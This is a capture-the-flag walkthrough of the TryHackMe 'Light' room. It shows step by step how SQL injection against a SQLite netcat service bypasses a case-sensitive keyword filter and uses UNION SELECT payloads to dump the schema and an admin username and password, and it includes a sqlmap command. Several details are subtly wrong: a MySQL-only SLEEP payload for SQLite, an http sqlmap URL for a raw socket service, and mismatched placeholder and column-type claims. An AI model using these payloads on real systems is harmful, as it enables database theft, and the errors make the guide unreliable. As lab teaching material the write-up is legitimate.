Understanding SQL Injection in CTF TryHackMe Light

SQL injection is a critical web vulnerability that allows attackers to interfere with database queries, potentially exposing or manipulating sensitive data. In this TryHackMe challenge, you'll explore how to identify and exploit SQL injection flaws in a lightweight SQLite-based application, gaining hands-on experience with real-world attack techniques and database security concepts.

---

Key Concepts

• SQL Injection (SQLi): A code injection attack where malicious SQL statements are inserted into input fields to manipulate database queries.
• SQLite: A self-contained, serverless database engine commonly used in embedded systems and CTF challenges.
• Payload Crafting: The process of testing and refining input strings to bypass security filters and extract data.
• Database Enumeration: Extracting schema information, table structures, and sensitive data through carefully constructed queries.

---

Getting Started

Connecting to the Application

The challenge provides a network service you can interact with using netcat (nc). Begin by establishing a connection:

nc xx.xx.xxx.xx 1337

Note: Replace xx.xx.xxx.xx with the actual IP address provided in the TryHackMe room.

Use the default username smokey to initiate the interaction.

---

Identifying SQL Injection Vulnerabilities

Initial Testing

Start by testing for basic SQLi by submitting a single quote ('):

nc xx.xx.xxx.xx 1337
# Input: '

Expected Error:

Error: unrecognized token: "''' LIMIT 30"

This error confirms the application is vulnerable to SQL injection, as the input is being interpreted as part of the SQL query.

---

Bypassing Input Filters

Testing Common Payloads

The application may block certain keywords. Test these payloads to identify restrictions:

Payload	Expected Response	Filter Status
smokey' OR '1'='1' --	"Input not allowed"	Blocked
UNION	"Username not found"	Partially blocked
SELECT	"Input not allowed"	Blocked

Case-Sensitive Bypass

Try capitalizing SQL keywords to evade filters:

nc xx.xx.xxx.xx 1337
# Input: Union

Response:

Username not found.

This suggests the filter is case-sensitive. Experiment with mixed-case payloads (e.g., uNiOn) for better results.

---

Exploiting the Vulnerability

Enumerating Database Information

Checking the Database Version

Confirm the database type and version using:

smokey' Union Select sqlite_version() --

Output:

3.31.1

This verifies the application uses SQLite 3.31.1.

Extracting the Database Schema

Retrieve the structure of all tables with:

smokey' Union Select sql FROM sqlite_master --

Output:

CREATE TABLE admintable (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password INTEGER
)

Key Insight: The admintable contains usernames (TEXT) and passwords (INTEGER). Note that passwords are stored as integers, which may indicate a hashing or encoding scheme.

---

Extracting Sensitive Data

Retrieving Usernames

List all usernames in the admintable:

smokey' Union Select username FROM admintable --

Output:

TryHackMeAdmin

Retrieving Passwords

Extract the password for a specific user:

smokey' Union Select password FROM admintable WHERE username='TryHackMeAdmin' --

Output:

vYQ5ngPpw8AdUmL

Warning: The password appears to be a hashed or encoded value. Further analysis (e.g., hash cracking) may be required to decode it.

---

Advanced Techniques

Automating Exploitation

For efficiency, use tools like sqlmap to automate SQLi attacks:

sqlmap -u "http://xx.xx.xxx.xx:1337" --data="username=smokey" --dbs

Note: Replace the URL and parameters with the actual target details. Always ensure you have permission to test the target.

Blind SQL Injection

If error messages are suppressed, use time-based or boolean-based blind SQLi techniques to infer data:

smokey' AND IF(1=1, SLEEP(5), 0) --

---

Mitigation Strategies

Protect applications from SQL injection by implementing these best practices:

Technique	Description
Prepared Statements	Use parameterized queries to separate SQL code from data.
Input Validation	Restrict input to expected formats (e.g., alphanumeric usernames).
Least Privilege	Limit database user permissions to only necessary operations.
Web Application Firewall (WAF)	Deploy a WAF to filter malicious SQLi payloads.
Regular Audits	Conduct security testing (e.g., penetration tests) to identify vulnerabilities.

Example of a Prepared Statement (Python):

cursor.execute("SELECT * FROM admintable WHERE username = %s", (user_input,))

---

Learn More

Expand your knowledge with these resources:

• TryHackMe Rooms:
  • SQL Injection
  • OWASP Top 10
• Tools:
  • sqlmap (Automated SQLi exploitation)
  • Burp Suite (Manual testing)
• Documentation:
  • OWASP SQL Injection Prevention Cheat Sheet
  • SQLite Documentation

---